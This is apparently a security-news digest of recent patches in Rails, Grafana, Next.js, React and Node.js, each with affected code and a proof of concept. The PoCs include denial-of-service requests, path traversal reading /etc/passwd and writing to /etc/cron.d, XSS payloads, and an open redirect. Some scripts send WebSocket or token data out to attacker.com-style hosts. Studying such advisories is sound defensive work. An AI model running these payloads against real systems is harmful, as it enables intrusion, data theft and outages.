📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
213
Verified
0
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33174 Denial of Service (Resource Exhaustion)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 12 minutes after CVE published

Commit: 5b66fcf531bba92e4a91ae4aac219099d28177d2

Author: Gannon McGibbon

Before the patch, an attacker could send an HTTP Range request with an arbitrarily large byte range (e.g., 'bytes=0-' on a large file) and the server would attempt to download and buffer the entire requested range into memory before sending it. This could exhaust server memory and cause a denial of service. The patch adds a `ranges_valid?` check that rejects any byte ranges whose total size exceeds 100MB (configurable via `ActiveStorage.streaming_chunk_max_size`).

🔍 View Affected Code & PoC

Affected Code

return head(:range_not_satisfiable) if ranges.blank? || ranges.all?(&:blank?)

Proof of Concept

Send an HTTP GET request with a Range header covering the entire file or a very large portion of a large blob:

GET /rails/active_storage/blobs/proxy/:signed_id/:filename HTTP/1.1
Host: target.example.com
Range: bytes=0-

With a multi-gigabyte file stored, this would cause the server to call blob.download_chunk(0..file_size) and load gigabytes into memory. Multiple concurrent such requests would exhaust available RAM and crash the server process. A multi-range attack is also possible:
Range: bytes=0-999999999,1000000000-1999999999
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33658 Denial of Service (DoS) via Multi-Range HTTP Requests

Mar 23, 2026, 10:21 PM — rails/rails

📈 Patch landed 1 day 22 hours 43 minutes before CVE published

Commit: bb78f8cd636db4a0e8a732e9c25f2f9f58b2d058

Author: Jean Boussier

The ActiveStorage streaming controller allowed multi-range HTTP byte range requests without limiting the number of ranges. An attacker could send a request with thousands of byte ranges, causing the server to download and assemble many chunks from storage in memory, exhausting server resources and potentially causing a DoS. The patch adds a configurable `streaming_max_ranges` limit (defaulting to 1) that rejects requests with more ranges than allowed.

🔍 View Affected Code & PoC

Affected Code

ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size)

return head(:range_not_satisfiable) unless ranges_valid?(ranges)

if ranges.length == 1

Proof of Concept

Send a request with thousands of byte ranges to exhaust server memory/connections:

curl -H 'Range: bytes=0-1,2-3,4-5,6-7,8-9,10-11,...(repeat 10000 times)' https://example.com/rails/active_storage/blobs/proxy/SIGNED_ID/file.bin

Each range causes a separate blob.download_chunk() call and all data is accumulated in memory (data << chunk), so 10000 ranges against a large file would download massive amounts of data and hold it all in RAM, potentially crashing the Rails server.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33176 Denial of Service (ReDoS/Resource Exhaustion)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 6 minutes after CVE published

Commit: 64fabbd33c6e4886a6520a357434e0a8935beb5d

Author: Jean Boussier

BigDecimal in Ruby supports scientific notation (e.g., '9e99999999'), allowing an attacker to pass a short string that causes BigDecimal to allocate an enormous amount of memory when converting the number. Before the patch, any user-controlled string passed to number helper functions (like number_to_currency or number_to_percentage) could trigger this via BigDecimal(number). The patch rejects strings containing 'e' or 'd' (scientific notation indicators) before attempting BigDecimal conversion.

🔍 View Affected Code & PoC

Affected Code

when String
  BigDecimal(number, exception: false)

Proof of Concept

# Sending a tiny string that causes massive memory allocation:
require 'active_support/number_helper'
include ActiveSupport::NumberHelper

# This causes BigDecimal to allocate gigabytes of memory and hang
number_to_currency('9e99999999')  # Before patch: allocates enormous BigDecimal
number_to_currency('1e1000000')   # Similarly, causes DoS via memory exhaustion

# In a Rails app, an attacker can send: POST /payments?amount=9e99999999
# which would cause the server process to hang/crash when formatting the number
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33173 Improper Input Validation / Internal State Manipulation

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 27 minutes after CVE published

Commit: 0dbaa44c5026eabb7ed2eedadefcb2af9033cb94

Author: Jean Boussier

Before the patch, users could set protected metadata keys (analyzed, identified, composed) during a direct upload by including them in the metadata parameter. These keys control internal Active Storage state (e.g., whether a blob has been analyzed or identified), so a malicious user could set 'analyzed: true' or 'identified: true' to bypass file analysis/identification steps that might enforce security policies. The patch filters out these protected keys from user-supplied metadata in create_before_direct_upload!.

🔍 View Affected Code & PoC

Affected Code

def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
  create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name
end

Proof of Concept

POST /rails/active_storage/direct_uploads
Content-Type: application/json

{"blob":{"filename":"malicious.exe","byte_size":1000,"checksum":"abc123","content_type":"application/octet-stream","metadata":{"analyzed":true,"identified":true}}}

This causes the blob to be marked as already analyzed and identified, bypassing any content analysis or identification checks that could enforce content type policies or detect malicious files.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33170 XSS (Cross-Site Scripting)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 27 minutes after CVE published

Commit: 6b313e2caaf7a704bb751b5a4a83fb912dffb9c7

Author: Jean Boussier

The `SafeBuffer#%` method failed to preserve the unsafe status of a SafeBuffer when used for string formatting. Before the patch, formatting an unsafe SafeBuffer (one that had been marked unsafe after mutation via gsub!, etc.) would return a new SafeBuffer that was incorrectly marked as html_safe?, allowing unescaped user input to be rendered as raw HTML. The fix propagates the `@html_unsafe` flag to the result of `%` formatting.

🔍 View Affected Code & PoC

Affected Code

def %(args)
  case args
  when Hash
    escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
  else
    escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
  end
  self.class.new(super(escaped_args))
end

Proof of Concept

# Before the patch:
unsafe_buffer = ActiveSupport::SafeBuffer.new
unsafe_buffer.gsub!('', '<%{name}>')  # marks buffer as unsafe
puts unsafe_buffer.html_safe?  # => false (correct)
result = unsafe_buffer % { name: '<script>alert(1)</script>' }
puts result.html_safe?  # => true (BUG! should be false)
# result contains unescaped '<script>alert(1)</script>' and is treated as safe
# When rendered in a Rails view, this would output raw script tags without escaping
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33195 Path Traversal

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 4 minutes after CVE published

Commit: 1a5e2f6a4140954fd99c875c362c45d15e25204c

Author: Mike Dalessio

ActiveStorage's DiskService allowed path traversal via blob keys containing segments like '../../etc/passwd'. The `path_for` method directly joined the root directory with user-controlled key values without validating that the resolved path stayed within the storage root, allowing attackers to read or write arbitrary files on the server filesystem. The patch adds validation that rejects keys with dot segments and verifies the resolved path remains within the storage root directory.

🔍 View Affected Code & PoC

Affected Code

def path_for(key) # :nodoc:
  File.join root, folder_for(key), key
end

Proof of Concept

# Attacker generates a valid signed URL with a path traversal key (e.g., by intercepting/forging a blob_key token)
# OR if the application allows custom blob keys from user input:

# Step 1: Generate a signed blob key token with traversal payload
encoded_key = ActiveStorage.verifier.generate(
  { key: "../../etc/passwd", disposition: "inline", content_type: "text/plain", service_name: "local" },
  purpose: :blob_key
)

# Step 2: Request the file via DiskController
# GET /rails/active_storage/disk/<encoded_key>/hello.txt
# DiskService#path_for("../../etc/passwd") resolves to /storage_root/xx/yy/../../etc/passwd => /etc/passwd
# Server responds with contents of /etc/passwd

# Similarly for write (direct upload):
encoded_token = ActiveStorage.verifier.generate(
  { key: "../../etc/cron.d/evil", content_type: "text/plain", content_length: 20, checksum: "...", service_name: "local" },
  purpose: :blob_token
)
# PUT /rails/active_storage/disk/<encoded_token> with malicious payload writes to /etc/cron.d/evil
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33202 Glob Injection / Arbitrary File Deletion

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 2 minutes after CVE published

Commit: 8fdf7da36dcf6587014bbbfed329439303c29e17

Author: Mike Dalessio

Before the patch, `DiskService#delete_prefixed` passed a user-influenced blob key directly into `Dir.glob` without escaping glob metacharacters. If a blob key contained characters like `*`, `?`, `\[`, `\]`, `{`, or `}`, the glob expansion could match and delete unintended files on the filesystem. The patch escapes all glob metacharacters in the resolved path before passing it to `Dir.glob`.

🔍 View Affected Code & PoC

Affected Code

def delete_prefixed(prefix)
  instrument :delete_prefixed, prefix: prefix do
    Dir.glob(path_for("#{prefix}*")).each do |path|
      FileUtils.rm_rf(path)
    end
  end
end

Proof of Concept

# Attacker uploads a blob with a key containing glob metacharacters:
# key = "abc*/sensitive_data"
# When Blob#delete is called, it invokes delete_prefixed with a prefix derived from this key.
# The resulting Dir.glob call becomes:
#   Dir.glob("/storage/root/abc*/sensitive_data*")
# This matches ALL directories starting with 'abc' followed by any characters,
# potentially deleting files belonging to other blobs or even other application data.

# Concrete example:
service = ActiveStorage::Service::DiskService.new(root: "/var/storage")
# If prefix = "ab*" (derived from a crafted blob key)
# Dir.glob("/var/storage/ab**") expands to match ALL files under /var/storage starting with 'ab'
# effectively wiping out all blobs whose storage path starts with 'ab'
service.delete_prefixed("ab*")  # Before patch: deletes all files matching /var/storage/ab**
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-33168 Mutation XSS (mXSS)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 30 minutes after CVE published

Commit: 12db70157c45a4b47a6f53ddad1217674fb2bb32

Author: Mike Dalessio

When a blank string is used as an HTML attribute name in Rails Action View tag helpers, `xml_name_escape` returns an empty string, producing malformed HTML like `&lt;img src="/safe.png" ="/onerror=alert(1)"&gt;`. This malformed HTML can be parsed differently by different HTML parsers, enabling mutation XSS attacks where a browser's HTML parser interprets the malformed attribute as executable code. The patch fixes this by skipping blank attribute keys before they are rendered into HTML.

🔍 View Affected Code & PoC

Affected Code

options.each_pair do |key, value|
  type = TAG_TYPES[key]
  if type == :data && value.is_a?(Hash)
    value.each_pair do |k, v|
      next if v.nil?

Proof of Concept

# In a Rails view, attacker-controlled data reaches tag helper:
tag("img", "src" => "/nonexistent.png", "" => "/onerror=alert(1)")
# Produces before patch: <img src="/nonexistent.png" ="/onerror=alert(1)" />
# The blank attribute name with value containing event handler can be interpreted
# by some HTML parsers as: <img src="/nonexistent.png" /onerror=alert(1)>
# triggering JavaScript execution (mXSS). Reference: HackerOne report #3078929
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33167 XSS (Cross-Site Scripting)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 36 minutes after CVE published

Commit: 4df808965b4a1e42cbd4a3ad0764d30a18a5e1b1

Author: John Hawthorn

The debug exceptions layout template used `raw` to output the exception message inside a `&lt;script type="text/plain"&gt;` tag without HTML escaping. An attacker who can trigger an exception with a crafted message containing HTML/JavaScript could inject arbitrary script tags that would be rendered in the browser. The patch removes `raw` to use default ERB HTML escaping, ensuring special characters like `&lt;`, `&gt;` are escaped.

🔍 View Affected Code & PoC

Affected Code

<script type="text/plain" id="exception-message-for-copy"><%= raw @exception_message_for_copy %></script>

Proof of Concept

Trigger an exception with message: `x</script><script>alert(1)</script>` (e.g., `raise "x</script><script>alert(1)</script>"`). Before the patch, visiting the error page would execute `alert(1)` in the browser because the raw exception message closes the existing script tag and opens a new executable one. After the patch, the output is HTML-escaped as `&lt;script&gt;alert(1)&lt;/script&gt;`.

🔥 HIGH VERIFIED Broken Access Control / Privilege Escalation

Mar 20, 2026, 11:02 PM — grafana/grafana

Commit: aa672a797770c7e29cbb80875d6cd85b352e589b

Author: Tito Lins

Before this patch, the GET /api/alertmanager/grafana/config/api/v1/alerts endpoint (which returns the raw Alertmanager configuration blob, potentially containing sensitive credentials like SMTP passwords, webhook secrets, and API tokens) was accessible to any user with the broad 'alert.notifications:read' permission, which was granted to Viewers and Editors. Similarly, GET /config/history and POST /config/history/{id}/_activate were accessible to users with alert.notifications:read/write. The patch restricts these endpoints to admin-only via new fine-grained RBAC actions (alert.notifications.config-history:read/write).

🔍 View Affected Code & PoC

Affected Code

case http.MethodGet + "/api/alertmanager/grafana/config/api/v1/alerts":
    eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)
case http.MethodGet + "/api/alertmanager/grafana/config/history":
    eval = ac.EvalPermission(ac.ActionAlertingNotificationsRead)

Proof of Concept

As a non-admin Grafana user (Viewer or Editor role) with alert.notifications:read permission, send: GET /api/alertmanager/grafana/config/api/v1/alerts with a valid session cookie. Before the patch, this returns the full raw Alertmanager config including SMTP credentials, webhook URLs with secrets, and API keys. Example: curl -H 'Cookie: grafana_session=<viewer_session>' https://grafana.example.com/api/alertmanager/grafana/config/api/v1/alerts

⚠️ MEDIUM VERIFIED Open Redirect

Mar 19, 2026, 11:44 AM — grafana/grafana

Commit: c62113ee12932fe16cfd755319fdae721597a0ac

Author: Ezequiel Victorero

The Grafana short URL feature allowed authenticated users to create short URLs with arbitrary target paths, including external URLs like `http://evil.com` or protocol-relative URLs like `//evil.com`. When a victim clicked a Grafana short URL, they would be silently redirected to the attacker-controlled external domain. The patch adds validation at both creation time and redirect time to ensure paths are always relative and cannot contain schemes, protocol-relative prefixes, or other external URL patterns.

🔍 View Affected Code & PoC

Affected Code

// No validation of the path before storing or redirecting
shortURL, err := hs.ShortURLService.CreateShortURL(c.Req.Context(), c.SignedInUser, cmd)
// ...
c.Redirect(setting.ToAbsUrl(shortURL.Path), http.StatusFound)

Proof of Concept

1. Authenticate to Grafana as any signed-in user
2. POST /api/short-urls with body: {"path": "//evil.com/phishing-page"}
3. Receive response with a short URL like: https://grafana.example.com/goto/AbCdEfGh
4. Send this short URL to a victim - when clicked, browser follows redirect to //evil.com/phishing-page (interpreted as https://evil.com/phishing-page)

Alternatively: POST /api/short-urls with body: {"path": "http://evil.com"} to redirect to an explicit external URL.

⚠️ MEDIUM VERIFIED Authorization Bypass / Privilege Escalation

Mar 18, 2026, 11:18 AM — grafana/grafana

Commit: d46801eda3ebd32a22a2a97d96492c69d3b9b615

Author: Roberto Jiménez Sánchez

Before the patch, a resource manager could be changed directly from one manager to another (e.g., from repo:abc to terraform:xyz) in a single update operation without going through a remove-then-add workflow. This allowed one management system (e.g., Terraform) to silently take over resources managed by another system (e.g., a Git repository), potentially leading to unauthorized control over managed resources and unpredictable reconciliation conflicts. The patch adds an explicit check that blocks any update where both old and new objects have a manager set but with different values, returning HTTP 403.

🔍 View Affected Code & PoC

Affected Code

managerNew, okNew := obj.GetManagerProperties()
managerOld, okOld := old.GetManagerProperties()
if managerNew == managerOld || (okNew && !okOld) { // added manager is OK
    return nil
}

Proof of Concept

// A resource managed by repo:abc can be hijacked by terraform:xyz in one step:
// 1. GET /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid
// 2. Modify annotations and PUT/UPDATE:
// annotations["grafana.app/manager-kind"] = "terraform"
// annotations["grafana.app/manager-identity"] = "attacker-terraform-workspace"
// PUT /apis/dashboard.grafana.app/v1beta1/namespaces/default/dashboards/dashboard-uid
// Before patch: returns 200 OK, resource is now managed by terraform instead of repo
// After patch: returns 403 Forbidden with message 'Cannot change resource manager; remove the existing manager first, then add the new one'

⚠️ MEDIUM VERIFIED Broken Access Control

Mar 17, 2026, 11:28 PM — grafana/grafana

Commit: 1c12cf19848d2b11d452c1e37502772fc5a129b9

Author: Stephanie Hingtgen

Before this patch, the Grafana Live push endpoint (`/api/live/push/:streamId`) had no RBAC authorization check, allowing any authenticated user (including Viewers) to push metrics and events to Grafana Live streams. The patch adds an `authorize(ac.EvalPermission(ac.ActionLivePush))` middleware that restricts this endpoint to users with the `live:push` permission (granted to Editors and Admins by default).

🔍 View Affected Code & PoC

Affected Code

liveRoute.Post("/push/:streamId", hs.LivePushGateway.Handle)

Proof of Concept

As a Viewer-role user with valid session credentials, send: POST /api/live/push/anystream with body `cpu usage=0.5` and a valid session cookie or API key. Before the patch, this would return HTTP 200 and successfully push data to the stream. After the patch, it returns HTTP 403.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27977 Cross-Origin Request Forgery / Unauthorized Access to Dev Resources

Mar 17, 2026, 11:02 PM — vercel/next.js

Patch landed 7 hours 32 minutes after CVE published

Commit: b2b802c043f83b047276df48d93b76d3c742f240

Author: Zack Tanner

Before this patch, Next.js development servers only warned (but did not block) cross-origin requests to internal dev assets and endpoints (/_next/*, /__nextjs*) when `allowedDevOrigins` was not configured. An attacker could craft a malicious webpage that loads or interacts with internal dev-only resources (HMR WebSocket, error feedback endpoints, internal chunks) from any origin. The patch changes the default behavior from warn-only to blocking with a 403 response, preventing unauthorized cross-origin access to dev server internals.

🔍 View Affected Code & PoC

Affected Code

const mode = typeof allowedDevOrigins === 'undefined' ? 'warn' : 'block'
// ...
return warnOrBlockRequest(res, refererHostname, mode)
// ...
warnOrBlockRequest(res, originLowerCase, mode)

Proof of Concept

# Attacker hosts a page at https://attacker.example.com/exploit.html
# Developer is running Next.js dev server at http://localhost:3000

# The following page silently exfiltrates Next.js internal dev chunks or
# makes requests to internal endpoints without being blocked:

<html>
<body>
<script>
  // Before patch: this request succeeds with 200 (only a warning in CLI)
  fetch('http://localhost:3000/_next/static/chunks/pages/_app.js', {
    mode: 'no-cors',
    headers: { 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'cross-site' }
  });

  // Or connect to HMR WebSocket to observe file changes
  const ws = new WebSocket('ws://localhost:3000/_next/webpack-hmr');
  ws.onmessage = (e) => { fetch('https://attacker.example.com/collect?d='+e.data); };
</script>
</body>
</html>

🔥 HIGH VERIFIED Authentication Bypass

Mar 17, 2026, 06:36 PM — grafana/grafana

Commit: 4eb83a7bcf5a7f4d6e9a7626a8b9deca55e0b6c4

Author: MdTanwer

The MSSQL connection string was built by directly concatenating the username and password without escaping special characters. Since semicolons are used as key-value delimiters in the connection string, a password containing a semicolon would be truncated at the semicolon, allowing authentication bypass or connection to unintended databases. For example, a password like `StrongPass;database=other` would cause the driver to parse `database=other` as a separate connection string parameter.

🔍 View Affected Code & PoC

Affected Code

connStr += fmt.Sprintf("user id=%s;password=%s;", dsInfo.User, dsInfo.DecryptedSecureJSONData["password"])

Proof of Concept

Set password to: `wrongpass;user id=sa` — the resulting connection string becomes `server=localhost;database=mydb;user id=user;password=wrongpass;user id=sa;` which causes go-mssqldb to use `sa` as the user id (last value wins in many parsers), potentially authenticating as a different user than intended. Alternatively, password=`x;database=master` redirects the connection to the master database regardless of configured database.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-21724 Authorization Bypass / Privilege Escalation

Mar 17, 2026, 03:06 PM — grafana/grafana

📈 Patch landed 9 days 6 hours 25 minutes before CVE published

Commit: 329327952e9bc785fddfbd3b1f1e70d64aa42778

Author: Yuri Tseretyan

The provisioning API's `UpdateContactPoint` endpoint did not perform authorization checks for protected fields (e.g., webhook URLs, API keys) before the patch. Any user with access to the provisioning API could modify protected/sensitive fields in contact points without the required `receivers:update.protected` permission, bypassing the security controls enforced by the regular receiver API. The patch adds a `checkProtectedFields` method that verifies the user has appropriate permissions before allowing modifications to protected fields.

🔍 View Affected Code & PoC

Affected Code

func (ecp *ContactPointService) UpdateContactPoint(ctx context.Context, orgID int64, contactPoint apimodels.EmbeddedContactPoint, provenance models.Provenance) error {

Proof of Concept

A user with provisioning API access but without `receivers:update.protected` permission could send:

PUT /api/v1/provisioning/contact-points/{uid}
Content-Type: application/json
X-Disable-Provenance: true

{"uid":"existing-uid","name":"My Slack","type":"slack","settings":{"url":"https://attacker.com/steal-alerts"},"disableResolveMessage":false}

This would overwrite the protected webhook URL field without the `receivers:update.protected` permission check, allowing an attacker to redirect alert notifications to an attacker-controlled endpoint or exfiltrate alert data.

💡 LOW VERIFIED Input Validation Bypass / Size Guard Bypass

Mar 17, 2026, 10:50 AM — facebook/react

Commit: 12ba7d81297abac61012a36f20d4a9d22b9210d9

Author: Sebastian "Sebbie" Silbermann

The `$B` (Blob) case in `parseModelString` did not validate that the FormData entry was actually a Blob before returning it. Since `FormData.get()` can return either a string or a Blob/File, an attacker could craft a malformed Server Action payload that stores a large string under a key and references it via `$B`, bypassing the `bumpArrayCount` size guard that applies to regular string values. The patch adds an `instanceof Blob` check that throws an error if the backing entry is not a real Blob, closing this bypass. While the PR notes this doesn't produce meaningful amplification on its own, it is a defense-in-depth fix against potential combined attacks.

🔍 View Affected Code & PoC

Affected Code

const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;

Proof of Concept

const formData = new FormData();
formData.set('1', '-'.repeat(50000)); // large string, not a Blob
formData.set('0', JSON.stringify(['$B1'])); // reference it as a Blob
await ReactServerDOMServer.decodeReply(formData, webpackServerMap);
// Before patch: returns the large string bypassing blob size guards
// After patch: throws 'Referenced Blob is not a Blob.'
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27978 Cross-Site Request Forgery (CSRF)

Mar 17, 2026, 01:57 AM — vercel/next.js

📈 Patch landed 13 hours 32 minutes before CVE published

Commit: a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8

Author: Zack Tanner

Before the patch, when the `Origin` header was set to the string `'null'` (which browsers send from privacy-sensitive contexts like sandboxed iframes), Next.js would skip the CSRF origin check entirely because the code treated `'null'` as a missing/invalid origin and fell through without validation. This allowed an attacker to embed a sandboxed iframe that submits a Server Action cross-origin with user credentials (cookies) attached, bypassing CSRF protection. The patch now treats `'null'` as a valid but opaque origin and checks it against the `allowedOrigins` allowlist, blocking unauthorized cross-origin Server Action submissions from sandboxed contexts.

🔍 View Affected Code & PoC

Affected Code

const originDomain =
    typeof originHeader === 'string' && originHeader !== 'null'
      ? new URL(originHeader).host
      : undefined

Proof of Concept

Attacker hosts malicious page at https://evil.com with:
<iframe sandbox="allow-forms" src="https://evil.com/attack.html"></iframe>

attack.html contains:
<form method="POST" action="https://victim.com/sensitive-page">
  <input name="$ACTION_ID_abc123" value="" />
  <input type="submit" />
</form>
<script>document.forms[0].submit()</script>

Browser sends: Origin: null (opaque origin from sandboxed iframe)
Before patch: originDomain = undefined, CSRF check is skipped with only a warning, action executes with victim's cookies.
After patch: originHost = 'null', checked against allowedOrigins; since 'null' is not in allowedOrigins, request is rejected with 403/500.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-29057 Open Redirect / Server-Side Request Forgery (SSRF)

Mar 17, 2026, 01:41 AM — vercel/next.js

📈 Patch landed 14 hours 35 minutes before CVE published

Commit: 00bdb037afd7229072640fd066bc940a26d0084f

Author: Zack Tanner

The commit patches the compiled `http-proxy` / `follow-redirects` library bundled in Next.js, referencing security advisory GHSA-ggv3-7p47-pfv8. The vulnerability involves improper handling of HTTP redirects in the `follow-redirects` library, which could allow an attacker to manipulate redirect targets to leak sensitive request headers (such as Authorization) to unintended hosts or bypass security controls via crafted redirect responses. The patch updates the compiled bundle with fixes to the redirect handling logic.

🔍 View Affected Code & PoC

Affected Code

var r=e.headers.location;if(r&&this._options.followRedirects!==false&&t>=300&&t<400){this._currentRequest.removeAllListeners();this._currentRequest.on("error",noop);this._currentRequest.abort();e.destroy();if(++this._redirectCount>this._options.maxRedirects){this.emit("error",new Error("Max redirects exceeded."));return}

Proof of Concept

An attacker controls a server that returns a 301 redirect response pointing to an attacker-controlled host. When a Next.js application proxies a request with an Authorization header to the attacker's initial URL, the follow-redirects library follows the redirect and forwards the Authorization header to the attacker's second host:

1. Victim Next.js app makes request: GET https://attacker.com/step1 with 'Authorization: Bearer secret-token'
2. attacker.com/step1 responds: HTTP/1.1 301 Moved Permanently\r\nLocation: https://evil.com/collect\r\n
3. The vulnerable follow-redirects code follows the redirect and sends GET https://evil.com/collect with 'Authorization: Bearer secret-token'
4. Attacker's evil.com receives the sensitive token

This is exploitable when Next.js rewrites/proxies user-controlled or partially-controlled URLs with sensitive headers attached.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-27977 Cross-Site WebSocket Hijacking / CSRF

Mar 17, 2026, 12:42 AM — vercel/next.js

📈 Patch landed 14 hours 47 minutes before CVE published

Commit: 862f9b9bb41d235e0d8cf44aa811e7fd118cee2a

Author: Zack Tanner

Before the patch, WebSocket connections to Next.js dev server endpoints (e.g., /_next/webpack-hmr) were accepted from privacy-sensitive origins (e.g., pages served with 'sandbox' CSP that sets origin to null). The old code only blocked requests when rawOrigin was truthy AND not equal to 'null', meaning requests with origin header 'null' (sent by sandboxed iframes/pages) bypassed origin validation entirely. The patch fixes this by treating a 'null' origin as a defined but non-allowed origin, causing such requests to be blocked.

🔍 View Affected Code & PoC

Affected Code

if (rawOrigin && rawOrigin !== 'null') {
    const parsedOrigin = parseUrl(rawOrigin)
    if (parsedOrigin) {
      const originLowerCase = parsedOrigin.hostname.toLowerCase()
      if (!isCsrfOriginAllowed(originLowerCase, allowedOrigins)) {
        return warnOrBlockRequest(res, originLowerCase, mode)
      }
    }
  }
  return false

Proof of Concept

1. Attacker hosts a page at http://attacker.com/ with Content-Security-Policy: sandbox allow-scripts (causing browser to send Origin: null for requests)
2. Page contains: <script>const ws = new WebSocket('http://localhost:3000/_next/webpack-hmr'); ws.onmessage = (e) => { fetch('https://attacker.com/collect?d='+encodeURIComponent(e.data)) }</script>
3. Victim (developer) visits http://attacker.com/ while running Next.js dev server
4. Browser sends WebSocket upgrade with Origin: null header
5. Old code skips validation (rawOrigin === 'null' condition exits early), connection is accepted
6. Attacker can receive HMR messages, potentially revealing source code structure or injecting malicious HMR updates

🔥 HIGH VERIFIED Missing Authorization / Broken Access Control

Mar 16, 2026, 11:31 PM — grafana/grafana

Commit: 5c89af649b23157efba5049e3fe459e168696320

Author: Ezequiel Victorero

Before this patch, the Kubernetes API endpoints for dashboard snapshots (GET, LIST, DELETE, POST /create, DELETE /delete/{deleteKey}, GET /settings) used a default `ServiceAuthorizer` that did not enforce RBAC permissions for snapshot resources. Any authenticated user, regardless of their assigned permissions, could read, list, create, and delete snapshots. The patch adds a `SnapshotAuthorizer` that maps K8s verbs to Grafana RBAC actions (`snapshots:read`, `snapshots:create`, `snapshots:delete`) and applies RBAC checks to the custom HTTP routes as well.

🔍 View Affected Code & PoC

Affected Code

func (b *DashboardsAPIBuilder) GetAuthorizer() authorizer.Authorizer {
	return grafanaauthorizer.NewServiceAuthorizer()
}

Proof of Concept

A user with no snapshot permissions (e.g., Org role 'None') can access snapshot data:

GET /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots
  -> Returns 200 OK with snapshot list (should be 403 Forbidden)

DELETE /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/{snapshotKey}
  -> Returns 200 OK (should be 403 Forbidden)

POST /apis/dashboard.grafana.app/v0alpha1/namespaces/org-1/snapshots/create
  Body: {"dashboard":{"uid":"existing-uid","title":"test"},"name":"stolen"}
  -> Returns 200 OK creating a snapshot (should be 403 Forbidden)

🔥 HIGH VERIFIED Broken Access Control / Insecure Direct Object Reference

Mar 16, 2026, 07:55 PM — grafana/grafana

Commit: f62299e5de8ed0a002d6ef23b8b7a839a1efa810

Author: Michael Mandrus

Public dashboard CRUD endpoints (Delete, Update, ExistsEnabledByDashboardUid) were only checking the user's role/permissions but not validating that the public dashboard being operated on belonged to the same organization as the requesting user. This allowed an authenticated user with Editor+ permissions in Org B to delete, update, or check the existence of public dashboards belonging to Org A, without having access to the source dashboard. The patch adds org_id checks to all relevant database queries to enforce org isolation.

🔍 View Affected Code & PoC

Affected Code

func (d *PublicDashboardStoreImpl) Delete(ctx context.Context, uid string) (int64, error) {
	dashboard := &PublicDashboard{Uid: uid}
	var affectedRows int64
	err := d.sqlStore.WithDbSession(ctx, func(sess *db.Session) error {
		var err error
		affectedRows, err = sess.Delete(dashboard)

Proof of Concept

# Attacker is admin in OrgB (orgId=2), wants to delete a public dashboard in OrgA (orgId=1)
# They know the dashboardUid and public dashboard uid from prior reconnaissance
curl -X DELETE http://orgb_admin:password@localhost:3000/api/dashboards/uid/orgA_dashboard_uid/public-dashboards/orgA_pubdash_uid
# Before patch: deletion succeeds because only RBAC role is checked, not org ownership
# The Delete service call was: api.PublicDashboardService.Delete(c.Req.Context(), uid, dashboardUid)
# without passing c.GetOrgID(), so the store deleted any public dashboard matching uid regardless of org

🔥 HIGH VERIFIED Use-After-Free / Memory Corruption

Mar 6, 2026, 06:01 AM — nodejs/node

Commit: a06e789625ecb46e3d6ef3e265ee15b37527c44a

Author: Gerhard Stöbich

When pipelined HTTP requests arrive in a single TCP segment, llhttp_execute() processes all of them in one call. If a synchronous 'close' event handler calls freeParser() mid-execution, cleanParser() nulls out parser state while llhttp_execute() is still on the call stack, causing use-after-free/null-pointer dereference crashes on subsequent callbacks. The patch adds an is_being_freed_ flag that causes the Proxy::Raw callback to return early (HPE_USER) when set, aborting llhttp_execute() before it accesses freed/nulled parser state.

🔍 View Affected Code & PoC

Affected Code

if (parser->connectionsList_ != nullptr) {
  parser->connectionsList_->Pop(parser);
  parser->connectionsList_->PopActive(parser);
}

Proof of Concept

const { createServer } = require('http');
const { connect } = require('net');
const server = createServer((req, res) => {
  // Synchronously emit 'close' to trigger freeParser() while llhttp_execute() is still on the stack
  req.socket.emit('close');
  res.end();
});
server.listen(0, () => {
  const client = connect(server.address().port);
  // Send two pipelined requests in one write - processed by a single llhttp_execute() call
  // When 'close' fires during first request, parser is freed while second request is still being parsed
  client.end(
    'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: keep-alive\r\n\r\n' +
    'GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n'
  );
});
